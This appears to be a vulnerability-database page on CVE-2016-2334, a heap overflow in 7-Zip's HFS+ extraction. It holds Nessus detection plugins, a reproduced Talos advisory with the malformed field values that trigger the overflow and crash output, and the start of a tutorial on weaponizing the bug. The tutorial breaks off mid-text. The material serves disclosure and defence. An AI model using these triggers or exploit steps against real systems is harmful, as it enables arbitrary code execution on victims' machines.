Vulnerabilities > CVE-2016-2334 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in multiple products

047910
CVSS 7.8 - HIGH
Attack vector
LOCAL
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
local
low complexity
7-zip
fedoraproject
oracle
CWE-119
nessus

Summary

Heap-based buffer overflow in the NArchive::NHfs::CHandler::ExtractZlibFile method in 7zip before 16.00 and p7zip allows remote attackers to execute arbitrary code via a crafted HFS+ image.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Nessus

  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2016-BBCB0E4EB4.NASL
    descriptionUpdate p7zip to 16.02 and fix security issues for CVE-2016-2335, CVE-2016-2334 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2016-07-21
    plugin id92477
    published2016-07-21
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/92477
    titleFedora 24 : p7zip (2016-bbcb0e4eb4)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Fedora Security Advisory FEDORA-2016-bbcb0e4eb4.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(92477);
      script_version("2.9");
      script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/04");
    
      script_cve_id("CVE-2016-2334", "CVE-2016-2335");
      script_xref(name:"FEDORA", value:"2016-bbcb0e4eb4");
    
      script_name(english:"Fedora 24 : p7zip (2016-bbcb0e4eb4)");
      script_summary(english:"Checks rpm output for the updated package.");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Fedora host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Update p7zip to 16.02 and fix security issues for CVE-2016-2335,
    CVE-2016-2334
    
    Note that Tenable Network Security has extracted the preceding
    description block directly from the Fedora update system website.
    Tenable has attempted to automatically clean and format it as much as
    possible without introducing additional issues."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bodhi.fedoraproject.org/updates/FEDORA-2016-bbcb0e4eb4"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected p7zip package.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:p7zip");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:24");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2016/06/07");
      script_set_attribute(attribute:"patch_publication_date", value:"2016/07/20");
      script_set_attribute(attribute:"plugin_publication_date", value:"2016/07/21");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Fedora Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/RedHat/release");
    if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
    os_ver = pregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
    if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
    os_ver = os_ver[1];
    if (! preg(pattern:"^24([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 24", "Fedora " + os_ver);
    
    if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);
    
    
    flag = 0;
    if (rpm_check(release:"FC24", reference:"p7zip-16.02-1.fc24")) flag++;
    
    
    if (flag)
    {
      security_report_v4(
        port       : 0,
        severity   : SECURITY_HOLE,
        extra      : rpm_report_get()
      );
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "p7zip");
    }
    
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_A9BCAF574A7B11E697F75453ED2E2B49.NASL
    descriptionCisco Talos reports : An exploitable heap overflow vulnerability exists in the NArchive::NHfs::CHandler::ExtractZlibFile method functionality of 7zip that can lead to arbitrary code execution.
    last seen2020-06-01
    modified2020-06-02
    plugin id92344
    published2016-07-18
    reporterThis script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/92344
    titleFreeBSD : p7zip -- heap overflow vulnerability (a9bcaf57-4a7b-11e6-97f7-5453ed2e2b49)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from the FreeBSD VuXML database :
    #
    # Copyright 2003-2018 Jacques Vidrine and contributors
    #
    # Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
    # HTML, PDF, PostScript, RTF and so forth) with or without modification,
    # are permitted provided that the following conditions are met:
    # 1. Redistributions of source code (VuXML) must retain the above
    #    copyright notice, this list of conditions and the following
    #    disclaimer as the first lines of this file unmodified.
    # 2. Redistributions in compiled form (transformed to other DTDs,
    #    published online in any format, converted to PDF, PostScript,
    #    RTF and other formats) must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer
    #    in the documentation and/or other materials provided with the
    #    distribution.
    # 
    # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
    # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
    # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
    # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
    # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
    # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(92344);
      script_version("2.7");
      script_cvs_date("Date: 2018/12/19 13:21:18");
    
      script_cve_id("CVE-2016-2334");
    
      script_name(english:"FreeBSD : p7zip -- heap overflow vulnerability (a9bcaf57-4a7b-11e6-97f7-5453ed2e2b49)");
      script_summary(english:"Checks for updated package in pkg_info output");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote FreeBSD host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Cisco Talos reports :
    
    An exploitable heap overflow vulnerability exists in the
    NArchive::NHfs::CHandler::ExtractZlibFile method functionality of 7zip
    that can lead to arbitrary code execution."
      );
      # http://blog.talosintel.com/2016/05/multiple-7-zip-vulnerabilities.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?06eba330"
      );
      # https://vuxml.freebsd.org/freebsd/a9bcaf57-4a7b-11e6-97f7-5453ed2e2b49.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?9b94966a"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected package.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:p7zip");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2016/05/11");
      script_set_attribute(attribute:"patch_publication_date", value:"2016/07/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"2016/07/18");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"FreeBSD Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("freebsd_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
    if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (pkg_test(save_report:TRUE, pkg:"p7zip<15.14_1")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201701-27.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201701-27 (7-Zip: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in 7-Zip. Please review the CVE identifiers referenced below for details. Impact : A remote attacker could entice a user to open a specially crafted archive file possibly resulting in execution of arbitrary code with the privileges of the process or a Denial of Service condition. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id96421
    published2017-01-12
    reporterThis script is Copyright (C) 2017-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/96421
    titleGLSA-201701-27 : 7-Zip: Multiple vulnerabilities
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2016-430BC0F808.NASL
    descriptionUpdate p7zip to 16.02 and fix security issues for CVE-2016-2335, CVE-2016-2334 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2016-08-02
    plugin id92669
    published2016-08-02
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/92669
    titleFedora 23 : p7zip (2016-430bc0f808)
  • NASL familyWindows
    NASL id7ZIP_16_00.NASL
    descriptionThe version of 7-Zip installed on the remote Windows host is prior to 16.0. It is, therefore, affected by multiple vulnerabilities : - A heap buffer overflow condition exits in the CHandler::ExtractZlibFile() function within file Archive\HfsHandler.cpp due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit this by convincing a user to open a specially crafted file, resulting in the execution of arbitrary code. (CVE-2016-2334) - An out-of-bounds read error exists in the CInArchive::ReadFileItem() function within file Archive\Udf\UdfIn.cpp when handling Universal Disk Format (UDF) files. An unauthenticated, remote attacker can exploit this by convincing a user to open a specially crafted UDF file, resulting in the execution of arbitrary code. (CVE-2016-2335)
    last seen2020-06-01
    modified2020-06-02
    plugin id91230
    published2016-05-19
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91230
    title7-Zip < 16.00 Multiple Vulnerabilities

Seebug

  • bulletinFamilyexploit
    description### DESCRIPTION An exploitable heap overflow vulnerability exists in the NArchive::NHfs::CHandler::ExtractZlibFile method functionality of 7zip that can lead to arbitrary code execution. ### TESTED VERSIONS 7-Zip [32] 15.05 beta 7-Zip [64] 9.20 ### PRODUCT URLS http://www.7-zip.org/ ### CVSSv3 SCORE 7.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ### DETAILS In HFS+ file system, files can be stored in compressed form with zlib usage. There is 3 different ways of keeping data in that form which depends on their size. Data of files which compressed size is bigger than 3800 bytes is stored in resource fork, split into blocks. Blocks size and their offset are keep in table just after resource fork header. Before decompression, ExtractZlibFile method read block size and its offset from file and after that read block data into static size buffer "buf". Because there is no check whether size of block is bigger than size of "buf", malformed size of block exceeding mentioned "buf" size will cause buffer overflow and heap corruption. Vulnerable code ``` 7zip\src\7z1505-src\CPP\7zip\Archive\HfsHandler.cpp Line 1496 HRESULT CHandler::ExtractZlibFile( Line 1497 ISequentialOutStream *outStream, Line 1498 const CItem &item, Line 1499 NCompress::NZlib::CDecoder *_zlibDecoderSpec, Line 1500 CByteBuffer &buf, Line 1501 UInt64 progressStart, Line 1502 IArchiveExtractCallback *extractCallback) Line 1503 { Line 1504 CMyComPtr<ISequentialInStream> inStream; Line 1505 const CFork &fork = item.ResourceFork; Line 1506 RINOK(GetForkStream(fork, &inStream)); Line 1507 const unsigned kHeaderSize = 0x100 + 8; Line 1508 RINOK(ReadStream_FALSE(inStream, buf, kHeaderSize)); Line 1509 UInt32 dataPos = Get32(buf); Line 1510 UInt32 mapPos = Get32(buf + 4); Line 1511 UInt32 dataSize = Get32(buf + 8); Line 1512 UInt32 mapSize = Get32(buf + 12); (...) Line 1538 RINOK(ReadStream_FALSE(inStream, tableBuf, tableSize)); Line 1539 Line 1540 UInt32 prev = 4 + tableSize; Line 1541 Line 1542 UInt32 i; Line 1543 for (i = 0; i < numBlocks; i++) Line 1544 { Line 1545 UInt32 offset = GetUi32(tableBuf + i * 8); Line 1546 UInt32 size = GetUi32(tableBuf + i * 8 + 4); Line 1547 if (size == 0) Line 1548 return S_FALSE; Line 1549 if (prev != offset) Line 1550 return S_FALSE; Line 1551 if (offset > dataSize2 || Line 1552 size > dataSize2 - offset) Line 1553 return S_FALSE; Line 1554 prev = offset + size; Line 1555 } Line 1556 Line 1557 if (prev != dataSize2) Line 1558 return S_FALSE; Line 1559 Line 1560 CBufInStream *bufInStreamSpec = new CBufInStream; Line 1561 CMyComPtr<ISequentialInStream> bufInStream = bufInStreamSpec; Line 1562 Line 1563 UInt64 outPos = 0; Line 1564 for (i = 0; i < numBlocks; i++) Line 1565 { Line 1566 UInt64 rem = item.UnpackSize - outPos; Line 1567 if (rem == 0) Line 1568 return S_FALSE; Line 1569 UInt32 blockSize = kCompressionBlockSize; Line 1570 if (rem < kCompressionBlockSize) Line 1571 blockSize = (UInt32)rem; Line 1572 Line 1573 UInt32 size = GetUi32(tableBuf + i * 8 + 4); Line 1574 Line 1575 RINOK(ReadStream_FALSE(inStream, buf, size)); // !!! HEAP OVERFLOW !!! ``` During extraction from HFS+ image having compressed files with "com.apple.decmpfs" attribute and data stored in resource fork we land in above code. Let we start our analysis from line where buffer overflow appears. Like mentioned in description compressed file data is split into blocks and each block before decompression is read into "buf" as we can see in Line 1575. Based on "size" value ReadStream_FALSE reads portion of data into "buf" buffer. Buffer "buf" definition and its size we can observe in ExtractZlibFile caller CHandler::Extract method: ``` Line 1633 STDMETHODIMP CHandler::Extract(const UInt32 *indices, UInt32 numItems, Line 1634 Int32 testMode, IArchiveExtractCallback *extractCallback) Line 1635 { (...) Line 1652 Line 1653 const size_t kBufSize = kCompressionBlockSize; // 0x10000 Line 1654 CByteBuffer buf(kBufSize + 0x10); // we need 1 additional bytes for uncompressed chunk header (...) Line 1729 HRESULT hres = ExtractZlibFile(realOutStream, item, _zlibDecoderSpec, buf, Line 1730 currentTotalSize, extractCallback); ``` As you can see its size is constant and equal to 0x10010 bytes. Going back to ExtractZlibFile method. Line 1573 presents setting block "size" value read from tableBuf. tableBuf in Line 1538 is read from file, what implicates that "size" is a just a part of data coming from file so we can have direct influence on its value. Setting value for "size" bigger than 0x10010 we should achieve buffer overflow and in consequences heap corruption. Let us check eventual constraints. Before Line 1573 value of "size" variable is read in loop included in lines 1543-1555. This block of code is responsible of check whether data blocks are consistent, what means that : - data block should start just after tableBuf ,line 1540 - following data block should start at previous block size + offset, line: 1549 - offset should not be bigger than dataSize2 (size of compressed data) ,line 1551 - "size" should not be bigger than remaining data, line 1552 As we can see there is no check whether "size" is bigger than "buf" size and described above constraints don't have influence on it either. Now, the best way to trigger overflow is to decrease value of "numBlocks" to 2, set first "size" value to enough to overflow "buf" (so > 0x10010 ) and rest of values just to fit constraints. Example of modified values: file offset: variable: Original: Malformed: 0xD342A item.UnpackSize 0x1411b0 0x0020000 0x786104 numBlocks 0x15 0x2 0x786108 tableBuf[0].offset 0xAC 0x14 0x78610C tableBuf[0].size 0x95f6 0x11fff 0x786110 tableBuf[1].offset 0x96A2 0x12013 0x786114 tableBuf[1].size 0x9a6d 0x8E4FB ### CRASH ANALYSIS ``` ModLoad: 00160000 001d5000 7z.exe (1458.1584): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=3c750000 edx=000de2a8 esi=fffffffe edi=00000000 eip=77cf12fb esp=004af46c ebp=004af498 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2c: 77cf12fb cc int 3 0:000> g eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=fffdd000 edi=004ae960 eip=77c6fcae esp=004ae834 ebp=004ae888 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!ZwMapViewOfSection+0x12: 77c6fcae 83c404 add esp,4 *** WARNING: Unable to verify checksum for 7z.exe 0:000> g Breakpoint 83 hit eax=005a9ab0 ebx=00000000 ecx=00000000 edx=00011fff esi=005a9ab0 edi=00000000 eip=6967bbe5 esp=004ae698 ebp=004ae82c iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 7z_69640000!NArchive::NHfs::CHandler::ExtractZlibFile+0x5b5: 6967bbe5 8b4580 mov eax,dword ptr [ebp-80h] ss:002b:004ae7ac=ff1f0100 line: RINOK(ReadStream_FALSE(inStream, buf, size)); //JUST BEFORE OVERFLOW HIT! 0:000> dv size size = 0x11fff 0:000> dt buf Local var @ 0x4ae840 Type CBuffer<unsigned char>* 0x004ae994 +0x000 _items : 0x02530048 "" +0x004 _size : 0x10010 0:000> !heap -x 0x02530048 Entry User Heap Segment Size PrevSize Unused Flags ----------------------------------------------------------------------------- 02530040 02530048 00540000 02530000 10018 40 8 busy 0:000> !heap -x 0x02530048+0x10018 Entry User Heap Segment Size PrevSize Unused Flags ----------------------------------------------------------------------------- 02540058 02540060 00540000 02530000 3e048 10018 0 free 0:000> p eax=00000000 ebx=00000000 ecx=00011fff edx=004ae680 esi=02530048 edi=00000000 eip=6967bc51 esp=004ae698 ebp=004ae82c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 7z_69640000!NArchive::NHfs::CHandler::ExtractZlibFile+0x621: 6967bc51 8b4d14 mov ecx,dword ptr [ebp+14h] ss:002b:004ae840=94e94a00 0:000> !heap -x 0x02530048+0x10018 List corrupted: (Flink->Blink = 41414141) != (Block = 005fedb0) HEAP 00540000 (Seg 00540000) At 005feda8 Error: block list entry corrupted ERROR: Block 02540058 previous size 3e00 does not match previous block size 2003 HEAP 00540000 (Seg 02530000) At 02540058 Error: invalid block Previous 0:000> g Critical error detected c0000374 (1458.1584): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=77cbf861 edx=004ae1c9 esi=00540000 edi=005fedb0 eip=77d1ea31 esp=004ae41c ebp=004ae494 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!RtlReportCriticalFailure+0x29: 77d1ea31 cc int 3 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* returning none FAULTING_IP: ntdll!RtlReportCriticalFailure+29 77d1ea31 cc int 3 EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 77d1ea31 (ntdll!RtlReportCriticalFailure+0x00000029) ExceptionCode: 80000003 (Break instruction exception) ExceptionFlags: 00000000 NumberParameters: 1 Parameter[0]: 00000000 FAULTING_THREAD: 00001584 PROCESS_NAME: 7z.exe ERROR_CODE: (NTSTATUS) 0x80000003 - {WYJ EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - Co najmniej jeden z argument w jest nieprawid owy. EXCEPTION_PARAMETER1: 00000000 DETOURED_IMAGE: 1 NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 APP: 7z.exe LAST_CONTROL_TRANSFER: from 77d1f965 to 77d1ea31 BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption STACK_TEXT: 77d542a8 77cdb206 ntdll!RtlpAllocateHeap+0x7b2 77d542ac 77c83d1e ntdll!RtlAllocateHeap+0x23a 77d542b0 6f2eed63 msvcr120!malloc+0x49 77d542b4 6f2f223c msvcr120!_malloc_crt+0x16 77d542b8 6f3005b6 msvcr120!_stbuf+0x5c 77d542bc 6f300a09 msvcr120!fputs+0xc6 77d542c0 0016371c 7z!CStdOutStream::operator<<+0x1c 77d542c4 001b1f5f 7z!CExtractCallbackConsole::SetOperationResult+0xef 77d542c8 00180878 7z!CArchiveExtractCallback::SetOperationResult+0x4c8 77d542cc 6967b559 7z!NArchive::NHfs::CHandler::Extract+0xf29 77d542d0 0018faab 7z!DecompressArchive+0x89b 77d542d4 001904dc 7z!Extract+0x97c 77d542d8 001ba3fd 7z!Main2+0x14cd 77d542dc 001bc0be 7z!main+0x7e 77d542e0 001bfe33 7z!__tmainCRTStartup+0xfd 77d542e4 7563337a kernel32!BaseThreadInitThunk+0xe 77d542e8 77c892e2 ntdll!__RtlUserThreadStart+0x70 77d542ec 77c892b5 ntdll!_RtlUserThreadStart+0x1b FOLLOWUP_IP: MSVCR120!_stbuf+5c 6f3005b6 8904bd60053c6f mov dword ptr MSVCR120!_stdbuf (6f3c0560)[edi*4],eax SYMBOL_STACK_INDEX: 4 SYMBOL_NAME: msvcr120!_stbuf+5c FOLLOWUP_NAME: MachineOwner MODULE_NAME: MSVCR120 IMAGE_NAME: MSVCR120.dll DEBUG_FLR_IMAGE_TIMESTAMP: 524f7ce6 STACK_COMMAND: dps 77d542a8 ; kb FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption_80000003_MSVCR120.dll!_stbuf BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption_DETOURED_msvcr120!_stbuf+5c WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/7z_exe/15_5_0_0/5591858b/ntdll_dll/6_1_7601_18869/55636317/80000003/000cea31.htm?Retriage=1 Followup: MachineOwner --------- ``` ### TIMELINE * 2016-03-03 - Vendor Notification * 2016-05-10 - Public Disclosure
    idSSV:96781
    last seen2017-11-19
    modified2017-10-26
    published2017-10-26
    reporterRoot
    title7zip HFS+ NArchive::NHfs::CHandler::ExtractZlibFile Code Execution Vulnerability(CVE-2016-2334)
  • bulletinFamilyexploit
    description### INTRODUCTION In 2016 Talos released an advisory for [CVE-2016-2334](https://www.talosintelligence.com/reports/TALOS-2016-0093/), which was a remote code execution vulnerability affecting certain versions of 7zip, a popular compression utility. In this blog post we will walk through the process of weaponizing this vulnerability and creating a fully working exploit that leverages it on Windows 7 x86 with the affected version of 7zip (x86 15.05 beta) installed. ### ANALYSIS First a quick look at the vulnerable portion of the 7zip code. Additional technical details regarding this vulnerability can be found in the aforementioned advisory report. ![](https://images.seebug.org/1512354461414) The vulnerability manifests during the decompression of a compressed file located on an HFS+ filesystem. It is present within the CHandler::ExtractZlibFile function. As can be observed in Fig. A, on line 1575, the ReadStream_FALSE function gets the number of bytes to read from the `size` parameter and copies them from the file into a buffer called buf. The buf buffer has a fixed size of 0x10000 + 0x10 and is defined in the CHandler::Extract function. The problem is that the size parameter is user controlled, and is read directly from the file (line 1573) without any sanity checks being performed. A quick summary: * size parameter - A 32-bit value fully controlled by the attacker. * buf parameter - A fixed buffer with a length of 0x10010 bytes. * ReadStream_FALSE - A wrapper function for the ReadFile function, in other words, the content that is overflowing the `buf` buffer is coming directly from the file and is not restricted to any characters. Note: In situations where the heap overflow is triggered by a function like read/ReadFile, generally the part of the code which is finally executed in the kernel, the overflow won't appear if we turn on page heap. Kernel awareness of the unavailable page (free/protected/guarded) causes the system call to simply return an error code. Keep this in mind before turning on page heap. We need to create a base HFS+ image which we will modify later to trigger the vulnerability. We can do this using either Apple OSX or with the python script available [here](https://github.com/icewall/CVE-2016-2334/blob/master/hfsGenerator.py) if using the Windows platform. On OSX Snow Leopard 10.6 and above, you can use the DiskUtil utility with the --hfsCompression option to create the base image. Later we will walk through the technical details of how modify the image to trigger the vulnerability. For now, the modified version of the image should look like this. ``` c:\> 7z l PoC.img Scanning the drive for archives: 1 file, 40960000 bytes (40 MiB) Listing archive: PoC.img -- Path = PoC.img Type = HFS Physical Size = 40960000 Method = HFS+ Cluster Size = 4096 Free Space = 38789120 Created = 2016-07-09 16:41:15 Modified = 2016-07-09 16:59:06 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2016-07-09 16:58:35 D.... Disk Image 2016-07-09 16:59:06 D.... Disk Image\.fseventsd 2016-07-09 16:41:15 D.... Disk Image\.HFS+ Private Directory Data 2016-07-09 16:41:16 ..... 524288 524288 Disk Image\.journal 2016-07-09 16:41:15 ..... 4096 4096 Disk Image\.journal_info_block 2016-07-09 16:41:15 D.... Disk Image\.Trashes 2014-03-13 14:01:34 ..... 131072 659456 Disk Image\ksh 2014-03-20 16:16:47 ..... 1164 900 Disk Image\Web.collection 2016-07-09 16:41:15 D.... Disk Image\[HFS+ Private Data] 2016-07-09 16:59:06 ..... 111 4096 Disk Image\.fseventsd\0000000000f3527a 2016-07-09 16:59:06 ..... 71 4096 Disk Image\.fseventsd\0000000000f3527b 2016-07-09 16:59:06 ..... 36 4096 Disk Image\.fseventsd\fseventsd-uuid ------------------- ----- ------------ ------------ ------------------------ 2016-07-09 16:59:06 660838 1201028 7 files, 5 folders ``` ### PREPARING THE TEST ENVIRONMENT #### Building 7zip 15.05 beta To make our exploitation analysis easier we can build 7zip from [source code](http://www.ski-epic.com/2012_compiling_7zip_on_windows_with_visual_studio_10/index.html) and add debugging features to the build. Change the build file (Build.mak) as follows to enable debugging symbols: ``` Standard: - CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ -WX -EHsc -Gy -GR- - CFLAGS_O1 = $(CFLAGS) -O1 - CFLAGS_O2 = $(CFLAGS) -O2 - LFLAGS = $(LFLAGS) -nologo -OPT:REF -OPT:ICF With debug: + CFLAGS_O1 = $(CFLAGS) -Od + CFLAGS_O2 = $(CFLAGS) -Od + CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ -W3 -WX -EHsc -Gy -GR- -GF -ZI + LFLAGS = $(LFLAGS) -nologo -OPT:REF -DEBUG ``` Once 7zip has been compiled from source, we can perform a test run using our PoC and see what the heap layout looks like before the overflow occurs. ``` "C:\Program Files\Windows Kits\10\Debuggers\x86\windbg.exe" -c"!gflag -htc -hfc -hpc" t:\projects\bugs\7zip\src\7z1505-src\CPP\7zip\installed\7z.exe x PoC.hfs ``` Note: Remember to turn off all heap options for the debugging session using the !gflag command. ![](https://images.seebug.org/1512354700408) Let's check the memory chunks after this buffer : ![](https://images.seebug.org/1512354718762) The heap listing looks 